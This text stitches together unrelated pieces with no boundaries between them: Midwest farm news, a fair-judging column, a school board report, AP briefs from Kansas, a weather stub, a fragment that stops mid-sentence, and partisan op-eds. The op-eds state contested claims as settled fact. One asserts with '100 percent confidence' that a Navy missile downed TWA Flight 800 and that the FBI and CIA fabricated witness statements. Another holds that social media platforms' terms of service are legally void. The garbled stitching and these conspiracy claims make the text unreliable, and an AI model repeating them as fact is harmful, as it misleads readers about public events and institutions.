Region 6 includes Texas, New Mexico and Oklahoma, Anderson said. Beef cow slaughter in Region 6 over the last three months totaled 204,000, the most since 2011. Slaughter in Region 9, which includes Arizona, California and Nevada, was the most since 2013. Region 10, the Pacific Northwest (Washington, Oregon and Idaho), had their largest beef cow culling in more than a decade.

Anderson said the drought is a factor, although there is more nuance to the situation and some other factors at play in the numbers.
Glenn Brunkow Glenn Brunkow is a fifth-generation farmer in the Northern Flint Hills of Pottawatomie County in Kansas. He was a county Extension agent for 19 years before returning to farm and ranch full time. Reach him at editorial@midwestmessenger.com. Follow Glenn Brunkow Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Save Manage followed notifications Close Followed notifications Please log in to use this feature Log In Don't have an account? Sign Up Today

Tomorrow starts county fair livestock show judging season for me. I have been judging county fairs since I graduated from college, and I would hate to think how many I have done in the past nearly 30 years. When I was young, dumb and single I judged as many as I could fit into my schedule. Then time and responsibilities started to creep in, and I found myself having other things that really should be a priority.

A couple of years ago, I told myself I was going to retire from county fair judging. It was time to hand it over to younger, more eager judges who could handle the late nights or early mornings better  someone who did not have as many commitments. That sort of worked for a year or two. I had myself down to one or two contests that I did for a friend and that is pretty much the case yet.

This year I took on four shows. That is not many, especially compared to the number I did when I was younger. I had many weeks right out of college that I did four in a week. Now, I think four is a good number and I am really looking forward to them. I may change my mind when I have to leave before the sun is up, but I am still excited.

Yes, I have hay I still need to be baling and lots of other tasks that I should be doing but I am willing to make the sacrifice. I promise you I will have something happen at each show that will remind me why I still judge. I would invite all of you to go to your local county fair and you will see what I mean. It will make you feel so much better about the future.

Often times my memorable moments do not involve the individual that receives the champion ribbon, but it is one of the youths who placed a little farther down the line. They are the youth who will come up to me after the show and want more information about what they could do to be better. Or they may simply be proud of their project and want to tell me more about it, and that is my favorite part.
There have been reports of blister beetle attacks on hay in McKenzie County and elsewhere in North Dakota, along with parts of Montana this year, and Devan Leo, McKenzie County Extension agent, says blister beetles are toxic to livestock.

Horses that eat alfalfa hay contaminated with blister beetles have a high risk for serious illness and death, Leo said. Cattle that eat as little as two beetles can get blisters and inflammation in their mouths.

Blister beetles produce cantharidin, a toxin that causes inflammation and blistering of internal body tissues. Although all species produce the toxin, the striped blister beetle seems to have higher toxin concentrations.

In a recent study, scientists found the ingestion of from 25-300 beetles in hay could kill a horse. The beetles are protected by oil, so they stay on hay up to 2 years afterward.

Producers have waited for a better hay crop this summer, which makes economic sense.

Our producers had a nice alfalfa hay crop at 20-40 percent bloom, but they were waiting for 80-95 percent bloom, she said.

While they waited, the blister beetles moved in, attracted to the nice patches of bloom.

They had a smorgasbord of blooms to choose from, she added.

Leo has been out scouting alfalfa fields and told producers the hay can be harvested safely.

When harvesting, it is important to open the mower conditioner all the way, Leo said. Then lay the hay down. While blister beetles can fly, they will lay down with the hay. Because they dont like dry hay, they will eventually fly away when the hay dries down.
HELENA, Mont.  As the calendar continued to march into the heart of summer, Joe Dooling stayed busy making hay while the sun shined. Temperatures across most of Montana remained unseasonably warm as Joe worked at wrapping up his first cutting of hay right before the Fourth of July weekend.

Its been miserably hot. I mean, it is great growing conditions for grain hay and alfalfa, so its not worth complaining about. You just manage it, Joe said astutely during a phone update on July 2.

While Joe reported on his crop condition, harvesting progress, and weather, the sound of his beeping tractor could be heard in the background. Every beep indicated the creation of a new large square bale, or brick as Joe likes to call them.

First cutting is almost done and overall yield has been good, he said.

Continuing, Joe said it is very rare for him to be done with first cutting before the Fourth of July, but above normal temperatures coupled with winds have made for quick drying hay. He has been clipping along at a steadily rapid pace since first cutting began, so he was looking forward to taking a little time for rest and relaxation over the Fourth of July weekend and attending the rodeo in neighboring Lincoln, Mont.

The weekend vacation was much appreciated because it wont be long until Joe will start back into his fields again for second cutting.

On a year like this where we have been fertilizing between cuttings, it is popping back really quick, he stated.

Joe has been working hard to coax every blade of hay out the ground that he can. He has great concern for his fellow agriculturalists as the widespread drought across the west continues to worsen and he firmly believes it is his duty to try and help as much as he possibly can.
Ruby Anne Murphy is only 3 months old and has spent most of that time in Phoenix Childrens 
Three new teachers and two new counselors were approved by the Alva Board of Education Monday. Kayla Ledbetter comes from the Tulsa Public Schools and will teach pre-K. Sadie Wilson has lived in Texas the past three years but came back to Oklahoma and will teach pre-K. Annalisa Roggow has been a substitute with the Alva schools and will now teach fifth grade.

Tina Pettus is one of the new counselors. Superintendent Tim Argo said she had been in prison the past 20 years, then backtracked and said she worked at the prison and the school is stealing her away. Pettus will work at the high school and do some one-on-one counseling for elementary students. Kay Gilchrist has been at Deer Creek-Lamont schools the last six years and will work as a counselor for elementary students.

Two new custodians were also hired. Curtis Keller will work at Lincoln Elementary and Kimi Cox will be at Longfellow Elementary.

Board members present for the meeting were Jane McDermott, Tiffany Slater, Larry Parker and Karen Koehn. Shane Hansen was absent.

In other personnel matters, Supt. Argo announced a couple of new extra duty positions. There are a number of Facebook pages set up by different school organizations and some by schools. To provide better coordination on what's being posted, the school has named Trevor Lording as the communication coordinator with Cara Bradt as assistant communication coordinator. Their job will be public relations including postings to the school website, notifications to parents and students and social media. Lording will have an IT tab set up on each computer in the district which will include communications.

Other additions to the extra duty schedule are Jordan Villava who will be the cheerleader sponsor with Megan Kirtley as her assistant. Mindy White and Chris Eckhardt will be student council sponsors.

Board members voted to approve salary schedules for administrators, teachers, support personnel and extra duty.

Superintendent's Report

Argo announced one resignation. After 19 years at Alva, Tina Phillips is resigning to pursue another position.

School handbooks were provided to board members to read through before the August meeting. At that time, they will be brought back to the board for approval.

Argo said the schools will be working on the safe return to school plan required by the state. There will be meetings with local health officials as well as with teachers and staff to develop the plan. One consideration is Senate Bill 658, which was signed into law at the end of May. Argo said it states that face coverings and masks cannot be mandated unless a state of emergency has been declared for Woods County or the entire state.

The Alva schools will also be working on a revival of the strategic plan that was halted with the advent of Covid-19.

Contracts Approved

The superintendent thanked yearbook sponsor Kandee Almgren and Principals Stephanie Marteney and Shane Feely for their work on school photography bids. They recommended the school contract with Strawbridge Studios Inc. for school photography service. Headquartered in Durham, North Carolina, the company has offices in Oklahoma City and Wichita and has years of experience in yearbook and school photography. Board members approved the contract for the coming school year.

Several special education service contracts were approved. Educational Based Services provides psychological and physical assessments. Going Places Occupational Therapy Services, P.L.L.C. was formed by Jana Hickman who has worked with the Alva schools for years. Jan Eden provides home-based physical therapy. Previously the school contracted with Jerad Hada for physical therapy services, but he opted to let his associate Kenzi Taylor apply for that position.

The board also approved a copier lease and service agreement with Office Solutions, Inc. for nine digital copiers for the schools. Argo said this agreement has worked well over the last several years.

Finances

At the beginning of the meeting Monday in the finance report, Supt. Argo painted a picture of declining school revenue. The actual revenue for the school year just concluded was about $819,000 less than projected. Because of this, Alva schools were careful about expenditures. Recently, payroll and expenses have outstripped revenue by $1.1 to $1.2 million per year. This is eating into the school's carryover funds.

The general fund has been hit hardest. The building fund is still healthy and has been used to make several capital improvements. With the past one and a half years of free lunches provided by the USDA, the child nutrition fund over-collected on their budget.

Using a spreadsheet to project the next several years, Argo said it's expected the school will continue to need to use carryover funds to cover expenses. In the future, some expenses will be shifted to the building fund.

Art Building Completed

Board members left the high school library to tour the newly renovated art building directly west of the main high school. Art instructor Greg McClure showed everyone around, pointing out features like the spray painting booth and a secure locked room where expensive art supplies like silver and gems can be secured.

McClure showed the board where he can stand and see all the work areas so he'll know that students are actually working on their projects. Several deep sinks provide ample space for washing up. Restrooms are located on the north end of area. Polished concrete floors, white walls and exposed gleaming ductwork on the ceiling provide an airy working space.

McClure said he will enlist students to help him move art supplies and equipment from storage containers into the facility. The area will be ready for fall classes once the city water project providing fire coverage and better water pressure is completed.

After returning to the library, board members voted to go into executive session to discuss AEA negotiations. No action was planned upon return to open session other than the signing of documents approved earlier.
TOPEKA, Kan. (AP)  A Republican lawmaker questioned Tuesday whether Democratic Gov. Laura Kelly's administration made unemployment fraud worse by not conducting adequate background checks on hundreds of people hired to help with a surge of claims during the pandemic.

Sen. Caryn Tyson, of Parker, raised the issue as the state prepared to launch a new investigation of unemployment fraud. Tyson serves on a new council created by the GOP-controlled Legislature to oversee a modernization of the Kansas Department of Labor's aged computer system and to audit fraud and its effects.

Kansas and other states saw a flood of fraudulent claims when the federal government expanded benefits in response to economic problems tied to COVID-19 and efforts to check its spread. The state Department of Labor estimated that fraudulent claims last year totaled $290 million, but a report by the Legislature's auditing arm estimated $600 million.

The council on Tuesday discussed the scope of its audit so the state can take bids from private firms for the work, with a preliminary report due May 1, 2022. The final report is expected by September next year. The council expects to set the audit's scope next week, but Tyson said auditors should examine possible "holes or flaws in the human side" of computer security, particularly given the big expansion of the department's workforce.

"Did they have policies and practices when hiring?" she said. "We brought on so many people for that call center so quickly. What kinds of checks were in place?"

Tyson's comments and the council's discussion came hours before Kelly issued an executive order forming a Cybersecurity Task Force to develop better security for state and local governments.

Deputy Labor Secretary Peter Brady said his department would benefit from an examination of possible issues in the unemployment system. But he also said the federal government requires background checks of anyone who has access to sensitive data, general tax information and Social Security data.

The department has said it had 20 people answering calls about unemployment when the pandemic reached Kansas in March 2020 and by February 2021 it had 450 people assisting jobless workers.

Several lawmakers on the council worried that Tyson's suggestions could balloon the cost of the audit.

And Rep. Stephanie Clayton, an Overland Park Democrat and another council member, said the Department of Labor expanded staffing quickly because legislators complained that people were having trouble getting benefits.

"Hello? We, the legislators, we asked for that," Clayton said in an interview. "We clamored and said, 'You need to do this right away.'"

___

Follow John Hanna on Twitter: https://twitter.com/apjdhanna
WICHITA, Kan. (AP)  Wichita State University plans this fall to stop allowing Kansas residents 60 and older to audit its courses for free.

The university sent a letter this month to people who've previously audited its classes to notify them of the fees, The Wichita Eagle reports. Interim Executive Vice President and Provost Shirley Lefever said the new fees will help cover instructional costs.

The new fees range from $7.75 a credit hour for liberal arts courses to $68 a credit hour for business courses. Most courses are three credit hours.

The move comes after the Kansas Board of Regents in June approved the university's proposal to keep its tuition flat during the upcoming school year.

Donna Perline is currently auditing a water fitness class and plans to audit another course on the Holocaust in film this August. She said she hopes the new charges don't discourage seniors from auditing classes.

The university still plans to offer free four-week classes specifically for people 60 and older if they enroll by Sept. 8.
Lake Charles, Louisiana (70615)

Today

Partly cloudy skies during the evening giving way to a few showers after midnight. Low 78F. Winds light and variable. Chance of rain 30%..

Tonight

Partly cloudy skies during the evening giving way to a few showers after midnight. Low 78F. Winds light and variable. Chance of rain 30%.
A state actor is a private company that either acts on behalf of the government or has other special relationships with the government, which subject it to constitutional restrictions on government, including the First Amendment. Googles YouTube, Facebook, and Twitter have been state actors since about 2010. They claimed to be neutral, non-discriminating in their political and scientific views and denied any political biasuntil about a year ago. Then they reversed the narrative and said that they are private companies that can discriminate against whomever they want.

I can list half a dozen ways in which they are state actors. The pressure on them from Democrat officials, asserted by Trump in his lawsuit, is one of them. Obamanet, or net neutrality, is another one. But most obviously, they became state actors when federal and state government agencies opened accounts on their platforms and started to use them for interaction with the public. By accepting (and luring) multiple government accounts, they became public forums and state actors.

A few days ago, the Supreme Court refused to review the ruling in Knight First Amendment Institute at Columbia University v. Trump, No. 18-1691 (2d Cir. 2019). In it, the district court ruled, and the 2nd Circuit Appellate Court upheld, that each tweet from a government account opens a public forum, and the government cannot block citizens from participating in it. Most of the legal wrangling was over whether the @realDonaldTrump account was a governmental one for the purposes of the First Amendment. It was despite being hosted on a putatively private platform.

The state actor doctrine expresses the general principle that what the government cannot do under the Constitution directly, it cannot do indirectly, such as by delegating to private companies. If the government delegates some of its activity to a private company, that company becomes the state actor in respect to that activity and is bound by all Constitutional restrictions on the government.

It is the same as if a municipal government rents a property for a town hall from a private company. The private company cannot ban residents it does not like from going to the town hall or retaliate against anybody for saying certain things at that town hall. It is irrelevant whether the agreement between the company and the city specifically prohibits that. It is a state actor.

Shortly after Barack Obama won the 2008 election, almost all federal agencies opened accounts on Twitter. Some examples: @FBI  Nov 25, 2008; @ODNI, @DeptofDefense, @TheJusticeDept, @FCC, @CDCEmergency  2009; @FTC  2010. Only a handful of agencies had such accounts before the 2008 election. By the end of Obamas second term, almost all government agencies had accounts on Twitter. Twitter users interacted with tweets from many government accounts and discussed them on their own accounts. Thus, all of Twitter became the governments interactive space  a public forum, participation in which is protected by the First Amendment. Consequently, Twitter became a state actor, prohibited from banning or otherwise discriminating against the users based on their political views. The same logic and conclusions apply to Googles YouTube, Facebook, and Microsofts LinkedIn. Consequently, all their terms of services, content policies, and other documents restricting citizens rights under the Constitution, are null and void.

The state actors status of these platforms, coming from their endorsement and active use by the US and state governments, benefitted them enormously, far beyond the visitors traffic to governmental accounts. The public, political parties, and other entities understood the large presence of the US government on the Big Tech platforms as a guarantee of freedom of speech and equal treatment by the platform owners.

Today, it seems normal for government agencies at all levels to have accounts (interactive public spaces) on three proprietary platforms, owned by non-competing and colluding corporate behemoths on their terms, allowing those behemoths to abuse at will citizens interacting with those agencies. This practice of third-world dictatorships was started by the corrupt and radical Obama administration.

We should expect that the federal government does not engage in viewpoint discrimination and that it provides access to itself as broadly as possible. It should not give one newspaper exclusive coverage of its activities. When there are physical limits, such as the size of the press room in the White House, it invites multiple press outlets which transmit the press conference to all the public. But with the Internet, physical limits have disappeared. By 2008, many government agencies had their own websites. They used or could use RSS and other open Internet protocols to provide updates available to any aggregators, from the top TV network to tiny blogs. They could distribute information directly by email to subscribers. Free and low-cost software was available to host web forums, allowing the visitors to interact with the government content, to provide comments, and to express opinions. There was even an open protocol and software to run social media (from identi.ca to Mastodon). The government received no benefit from opening accounts on Twitter, Facebook, or YouTube. On the contrary, it incurred large expenses in managing these additional communication channels.

Today, some government agencies rely on Twitter as their exclusive emergency communications channel. Twitter can act as a prosecutor, judge, and executioner by blocking a person in a time of emergency.

The only beneficiaries were the social media companies. The Obama administration did not bother to run a tender or an auction when provided with such a valuable concession. It simply selected friends in Silicon Valley and showered them with gifts, tying them to itself. Another enormous gift to them was net neutrality  a free ride on the consumers Internet access fees. This explains why the Democrats were so furious at Facebook and Twitter for allowing Trump to win the 2016 election, and why Big Tech was working so hard to undo his victory.

In an article on Jonathan Turleys blog, entitled Government Agencies Should Reconsider Using Facebook And Twitter and posted on October 15, 2016 (before Trumps election win), a contributor mentioned anti-conservative censorship by Facebook and Twitter and noticed the loss of privacy by citizens interacting with the government on these platforms. One passage sounded prophetic:

Therein lies the risk that perhaps government agencies as a whole or individual officials will run afoul of a social mediums content expectations and these entities will effectively suffer filtering or worse blackouts, and warned against relegating the citizenry to a future where only a few social media companies control the information.

Photo credit: Anthony Quintano CC BY 2.0 license

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Between 1979 and 1989, 14,500 Soviet invaders died in Afghanistan. At least 700,000 Afghan warriors and civilians lost their lives in this conflict, yet over the course of the war, the number of young, combat-ready Afghans (ages 1529) declined by 110,000 (from 1.76 million to 1.65 million).

America should have been warned by the Soviet disaster in Afghanistan. To their sorrow, the Russians had been exposed to what military analysts call an "asymmetric advantage," an edge on the battlefield that opponents cannot match.

In the case of Afghanistan, the advantage is demographic. Up to the year 2000, an average Afghan woman gave birth to seven or eight children in her lifetime. Up to 2020, the average was still five or six. Therefore, Afghan mothers are able to replace two to three times the number of sons who perish on the battlefield.

Because they had failed to learn from the Soviet lesson, the Americans and British who bombed al-Qaeda's Afghanistan base in October 2001 were unaware that their target already had 2.7 million young men of military age, one million more than when Moscow had been defeated two decades earlier. To their peril, they did not take demographics into account. Students of the author  NATO officers at the Defense College in Rome  repeatedly confirmed with dismay that their nations were as clueless about military demographics as the Kremlin had been before. They knew about their Afghan adversary's guns and bazookas, but not about his almost limitless ability to absorb casualties. Now, sadder and perhaps a little wiser, America and the West are following in Russia's footsteps and leaving Afghanistan without victory.

Those who oppose this withdrawal predict that the Taliban will continue its struggle for power more ferociously than before. And they are right, but for a reason they themselves usually don't mention, if they know it at all. In July 2021, Afghanistan has nearly six million males of prime fighting age (1529). This record number is expected to rise to 7.4 million by 2030. These fighting-age males will be nearly three times as numerous as they were at the start of the Western intervention in 2001. No one among the resisters to Trump's and Biden's Afghanistan decisions has ever taken a stand on these crucial demographic facts. Their startling dimensions are, indeed, more than sufficient to guarantee a future of bloody civil wars in the Hindu Kush. This huge asymmetric advantage could take an additional toll on any intervention troops that might be deployed there in the future, a toll well beyond ISAF's 3,500 casualties. Indeed, after the foreseeable fall of the still Western-funded Kabul government, the demographics assure there will be no peace. At best, we can expect new justifications for civil war and bloodshed.

This is because, even in 2025, Afghanistan's war index  i.e., its demographic capacity for waging war  will be 5.2, five times higher than America's 1.0 and seven times Germany's 0.7. Furiously competing for the jobs vacated by every 1,000 older men (ages 5559) are not 700 (Germany) or 1,000 (U.S.), but 5,200 Afghan youths aged 15 to 19, who cannot help but start life in a desperate struggle for advancement.

Many proponents of withdrawal from Afghanistan are hardly better informed than the opponents. However, they at least seem to sense that the situation in Central Asia will remain precarious for decades to come. After all, the exploding demographics are being aggravated by the steady loss of the already few local industries, which will continue to sink in competition with East Asia. With ever more offspring, premature de-industrialization will make jobs increasingly scarce.

If these angry, ambitious young men cannot emigrate, they will try to force their way up the ladder locally. Until now, their quest for power has been opposed not only by their peers under other banners but also by Western soldiers, who  like their Russian predecessors whose mothers protested in front of the Kremlin  are statistically only sons or even only children. If these Western soldiers fall in battle, their family lines are obliterated. How often can they be sent into mortal danger far from home to keep third or fourth brothers  who outnumber them ten to one  from killing each other?

Nonetheless, indispensable in this twenty years' war was the elimination of Osama bin Laden's Afghan base after al-Qaeda's attack on New York and Washington on September 11, 2001. To a large extent, by December 2001, U.S. and British air forces had accomplished this task.

It was not until Germany's Petersberg Conference (Nov. 27 to Dec. 5, 2001) that  through the so-called Bonn Process  Afghanistan was to be endowed with a Jeffersonian constitution and democratic development for both sexes. Many of these well-meant projects failed or were reversed by the Taliban. That's why as early as 2019  after some $850 billion from the U.S. alone  three-star Army general Douglas Lute lamented that the U.S. lacked "a fundamental understanding of Afghanistan. ... We didn't have the foggiest notion of what we were undertaking."

What lesson does the Afghanistan fiasco teach us about the wars underway right now? Mali, e.g., where fighting has been going on since 2012 and where Germans, as well as Americans, are under fire, is approaching a duration on the scale of the two world wars. In 2030, the country will still be burdened by a war index of 5.3.

Even after "only" one decade, Africa's endless numbers of warriors in high war index countries are warning anyone who is willing to listen. They are telling us, in effect, that whoever, as a Westerner, turns a quick victory into a protracted occupation will fail, if the initially inferior locals have superior birth rates.

Gunnar Heinsohn (*1943) taught war demography at the NATO Defense College (Rome) from 2011 to 2020.

Image: Jason Coleman via Flickr, CC BY-NC-SA 2.0.

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On July 17, 1996, TWA Flight 800, a Paris-bound 747 out of JFK, blew up off the coast of Long Island. It seemed somehow fitting that James Kallstrom, the public face of the FBI investigation into the plane's destruction, would die two weeks before the 25th anniversary. As a patriot, a Vietnam vet, and an outspoken critic of all things Clinton, Kallstrom once held promise as the insider most likely to come clean. He never did.

As to my own involvement with this story, until the evening of February 23, 2000, I was as naive as a CNN anchor. Before that evening, I would have dismissed out of hand anyone who dared suggest that elements of the FBI and CIA would conspire with the White House and the New York Times to cover up the cause of so public a disaster.

February 23, 2000, was the night my education began.

Earlier that evening I had listened with some interest at a Kansas City country club as investigative reporter James Sanders spoke about his inquiry into the 747's fate. At a dinner afterward, I found myself sitting next to James's wife, Elizabeth. A sweet and soft-spoken woman of Philippine descent, she filled me in on the personal details. At the time of the disaster, she was a trainer for TWA. She had been a flight attendant for some years before that.

Of the 230 people killed on that ill-fated flight, 53 were TWA employees, many of them Elizabeth's friends. At one of the numerous memorial services, Elizabeth introduced James to Terry Stacey, a 747 manager, and pilot who was working on the investigation.

"We need to talk," Stacy told Sanders. And so began a relationship that would end with James and Elizabeth being convicted of conspiracy in a federal court. Elizabeth's crime? Introducing her husband to her friendit went no deeper than that. James's crime? Reporting that the U.S. Navy had inadvertently shot down TWA 800it went no deeper than that. Meeting Elizabeth and hearing her story was what opened my eyes. A government that arrested and tried Elizabeth could arrest my wife, my sister, my daughter.

At the time, I was producing corporate videos and TV commercials. I was curious enough to meet the Sanders for breakfast to talk about making a documentary. Still skeptical, I explained that I wanted nothing to do with a 'might have, could have' scenario. James had to prove to me beyond reasonable doubt that the plane had been shot down before we proceeded.

Willing to try, James invited me to the couple's Fort Lauderdale condo to review his materials. Before leaving, I read the two mainstream books written on the crash, one by Patricia Milton of the Associated Press, the other by Christine Negroni of CNN. At the time, I found it difficult to believe that major media reporters could miss a story as large as a missile strike on a 747. After three days chez Sanders, my only question was why they missed the story.

So began my deep dive into this doomed flight. One documentary and two books later, I can say with 100 percent confidence that missile fire destroyed TWA Flight 800. I can say with 95 percent confidence that the U.S. Navy fired those missiles. As James Sanders will attest, I resisted that latter conclusion until the evidence overwhelmed me. I did not want to believe it to be true.

Along the way, I have communicated with scores of witnesses either to the crash itself or the investigation. I have had lunch with the then NTSB chairman Christopher Hart and had a couple of interesting phone calls with Kallstrom. I have met with relevant reporters from the New York Times, the Washington Post, and Fox News, the latter of whom slipped me an eye-opening video that his network was too timid to air.

Let me recount one unexpected phone call that speaks to the way the Deep State works when protected by the media and the White House. I took the call in the spring of 2009. The caller introduced herself as Witness 73.

"Do you know who I am?" she asked.

I did indeed. She was arguably the single most important eyewitness. According to her FBI 302, Witness 73 "observed an aircraft climbing in the sky, traveling from her right to her left." This would have been from the west, JFK airport in New York City, towards the east, eventually Paris, the original destination of TWA 800.

"While keeping her eyes on the aircraft," the FBI report continued, "she observed a 'red streak' moving up from the ground toward the aircraft at an approximately 45 degree angle. The 'red streak' was leaving a light gray colored smoke trail. The 'red streak' went passed [sic] the right side and above the aircraft before arcing back toward the aircraft's right wing."

"She never took her eyes off the aircraft during this time," the 302 continued. "At the instant the smoke trail ended at the aircraft's right wing, she heard a loud sharp noise which sounded like a firecracker had just exploded at her feet. She then observed a fire at the aircraft followed by one or two secondary explosions which had a deeper sound. She then observed the front of the aircraft separate from the back. She then observed burning pieces of debris falling from the aircraft."

Weeks before the FBI and the NTSB were able to piece together the break-up sequence of the aircraft, Witness 73 had nailed it. According to a later FBI 302, however, when agents went back to Witness 73 for a second interview, she admitted she had been drinking "Long Island Iced Teas" before the crash and wasn't quite sure what she had seen.

When I asked her about the drinks during our 2009 conversation, she told me, "I don't even know what a 'Long Island Ice Tea' is."

"Could it have been another drink?" I asked.

"No," she told me. "I don't drink, not at all. And there's something else you don't know, something stranger. There was no second interview. They made it all up."

"There's something you may not know," I added. "You're not the only witness they did that to."

Witness 73 was one of more than 700 witnesses to the crash that the FBI interviewed. By the NTSB's count, she was one of 258 eyewitnesses who saw a rising streak of light and one of 56 who followed that light from the horizon to the plane. Of the 56, the New York Times, which more or less owned the story, interviewed exactly none.

Illegally, but publicly, the FBI seized control of the investigation from the NTSB within hours of the crash. Illegally, but covertly, according to CIA documents, "The DI [Directorate of Intelligence] became involved in the 'missile theory' the day after the crash occurred."

According to the CIA, within two weeks of the disaster, FBI agents had interviewed 144 "excellent" eyewitnesses to a likely missile strike and found the evidence for such a strike "overwhelming." The CIA analyst boasted of discouraging the FBI from releasing its missile report. He seems to have succeeded. At the FBI's direction, the Times ran a front-page headline on August 23, 1996, "Prime Evidence Found That Device Exploded in Cabin of TWA 800."

For nearly a month, the Times ran with the bomb scenario. On September 19, however, the Times signaled the government's switch from a "bomb" to a "mechanical failure" explanation. On September 20, to explain away the explosive residue, the FBI claimed the TWA 800 aircraft had "previously been used in a law enforcement training exercise for bomb-detection dogs."

As was easily proved, the test in question did not take place on the TWA 800 plane, and the training aids did not match in placement or in composition the explosive residue found.

The eyewitnesses were not so easily explained away. With the NTSB illegally shut out of witness review, the FBI turned the task over to the CIA. Working with just a 1/3 of the witness statements, the CIA concluded that the center fuel tank spontaneously exploded, blowing the nose off the 747. The eyewitnesses saw the nose-less aircraft ascend more than 3,000 feet, mimicking the path of a missile.

The Steele dossier was more substantial than this concocted nonsense. To construct it, the CIA created at least three critical witness statements from whole cloth, Witness 73's included, and flagrantly corrupted more than two hundred others.

With a massive assist from the New York Times, the CIA got away with the scam. Having to account for only a tragic mechanical failure, Bill Clinton was re-elected president in November, and the denizens of the Deep State let out a deep sign of relief.

No one breathed more easily than the deputy attorney general who successfully oversaw the investigation, Jamie Gorelick. With a nod from Clinton, Gorelick left the DOJ in 1997 to take a job with Fannie Mae. There, lacking any relevant experience, she would make more than $26 million in salary, bonuses, performance pay, and stock options over the next five-plus years helping run Fannie Mae into the ground. In 2004, patriot that she is, Gorelick left that lucrative gig to become just one of five Democrat appointees to the 9-11 Commission. Deep state, anyone?

In 2016, I did a C-SPAN II presentation for my book,

"TWA 800: The Crash, The Cover Up, The Conspiracy" at the TWA Museum in Kansas City before an audience of TWA veterans. There were no dissenters. TWA employees learned about the Deep State before the rest of us did.

With the 25th anniversary at hand, we have one last chance before this story becomes history to break it as news. James Sanders continues to push the FBI and DOJ for the buried evidence he knows will prove out his theory, but to overcome media resistance someone with serious first-hand information needs to come forward. If that person is you, please contact me through Cashill.com.

Jack Cashill's latest book, Barack Obama's Promised Land: Deplorables Need Not Apply, is now widely available. See www.cashill.com for more information on TWA 800.

Image: Dean Morley via Flickr, CC BY-ND 2.0.

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Texas's Democrat legislators, who dramatically fled the state to prevent a quorum on a vote for a voter integrity law, had it all worked out beforehand that they'd be hailed as heroes for democracy.

They planned a flight together, got on together, and then were to fly as a group to Washington to plead their case and make their stand as champions of claimed "voting rights," as the media would fawn.

But somehow, things didn't quite go as planned.

They've actually become people the public is laughing at. They didn't quite get every detail for the heroic narrative right.

Start with the flight: they got on their flight together and posed for a group selfie but forgot some important details. One was that they weren't wearing masks, despite dictating it for others. Two was that the private flight seems to have been paid for by a Lebanese hedge fund manager, which, if true, makes it even more gamy. Three, it was a private plane, and these people hector us on global warming. Four, alert internet sleuths spotted a big box of Miller Lite beer taking up one of the seats and drew their own conclusions.

The flight became an "insane party plane," as Trish Regan noted. Everyone wondered whether they'd been swigging the beer early, given their happy no-mask faces.

After that, they got off the plane and immediately got to work taking selfies on the tarmac. Sound like modern-age George Washingtons at Valley Forge as they've positioned themselves? Nope, more like cosseted spoiled brats or maybe overgrown college students.

It got worse. They began to...sing. Bad singing, like maybe they'd had a few. They sang an old anthem of the civil rights era in keeping with the hero, but they got the lyrics wrong, as AT deputy editor Andrea Widburg noted in this excellent piece. Was it because they were drunk or because they were ignorant? They left the audience to guess.

Not surprisingly, the memes and mockery flowed. Here are a few and they were all over Twitter:

Those Miller Lites kicked in...

This is so embarrassing https://t.co/Gy0y3A1RBu  Charles V Payne (@cvpayne) July 13, 2021

Naturally, the most clueless and ridiculous-in-their-own-right Democrats sang their praises according to the script:

These courageous public servants have put it all on the line for our democracy & the right to vote.



Theyve left their families, their jobs, their homes back in Texas so that we have a shot at passing voting rights in DC.



Support them in this fight: https://t.co/2A08e6Tn0q https://t.co/leswVrarqB  Beto O'Rourke (@BetoORourke) July 13, 2021

Harris calls runaway Texas Democratic legislators 'American as apple pie' https://t.co/QHbe8jYyW4 pic.twitter.com/UF9Yp6HVyR  New York Post (@nypost) July 13, 2021

But for everyone else, the laughathon went on. It got so bad that even the fawning media backed away. Here's the final insult to the clown stunt from otherwise friendly CNN:

When youve lost CNN you know the gimmick really failed pic.twitter.com/oHdARDjUBt  Michael Duncan (@MichaelDuncan) July 13, 2021

They're pretty well telling them to give it up, stop, you're embarrassing us.

So much for crafting a narrative of sacrifice and patriotic heroism. It's hard to do that when everyone is laughing at that box of Miller Lite next to your seat.

Image: Twitter screen shot.

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If there's one policy most closely associated with the Biden administration, it has to be the illegal open border policy. President Trump turned over to Biden a border that was remarkably well controlled. The day after Biden entered the White House, that was all gone. We now effectively have no border, and if Americans dismayed by this fact complain, they're told they're cruel people who want the Latin Americans, sex-offenders, and Islamists pouring unchecked over the border to suffer from poverty in their native countries.

On Tuesday, however, the Biden administration announced that there are limits to its welcome mat. If you're Cuban or Haitian, don't come here:

Homeland Security Secretary Alejandro Mayorkas said on Tuesday that those fleeing Cuba or Haiti by sea would not be allowed into the U.S.  and would either be returned or, if they were found to have a fear of persecution, referred to a third country. "The time is never right to attempt migration by sea," Mayorkas said at a press conference. "To those who risk their lives doing so, this risk is not worth taking." "Allow me to be clear. If you take to the sea, you will not come to the United States," he said.

The ostensible reason behind this announcement is to protect people from braving the Florida Straits. It's for their own good that the Biden administration is leaving them in countries that are collapsing and in which deadly political witch hunts can soon be expected.

One might almost believe the administration's sincerity were it not for the fact that it's been utterly silent as people have died crossing the Southern border, with an uptick in deaths because of the summer heat. Even the mainstream media have been forced to acknowledge how dangerous the Southern crossing is. This is from PBS:

The bodies of an unusually large number of migrants who died in Arizona's borderlands are being recovered this summer amid record temperatures in the sun-scorched desert and rugged mountains. An increase in migrant deaths also has been noted in Texas, and rescues are up throughout the border with Mexico. The nonprofit group Humane Borders, which maps the recoveries of bodies in Arizona using data from the Pima County Medical Examiner's Office in Tucson, said 43 sets of human remains were found in the state's border region last month  the hottest June on record for Phoenix. Forecasters say highs in Phoenix, where temperatures last month regularly soared above 110 degrees Fahrenheit (43 Celsius), tend to be similar to those in Arizona's Sonoran Desert north of Mexico.

That report doesn't take into account the people who drown crossing the Rio Grande, the children tossed over walls, the women and children sexually trafficked, or the risks all Americans run from drugs and cartels, and terrorists crossing the border.

So what's really going on here? I have a guess.

When it comes to the Cubans, who are genuine political refugees, their arrival would swell the number of Latin Americans who would never vote for socialism in any form, under any label. Moreover, to the extent that these Cubans will become a force in Spanish-speaking communities, even if they cannot vote, they will communicate their values to other Spanish-speaking voters. As it is, 2020 showed increased numbers of Hispanic voters abandoning the Democrats.

And what about those Haitians desperate to flee a country falling into anarchy? Haiti is a desperately poor, mismanaged country. The people there are the descendants of slaves whom the French brought and treated with unspeakable cruelty. Unlike slaves in America, there was no economic benefit to keeping Haitian slaves alive. It was cheaper to work them to death and replace them every two years.

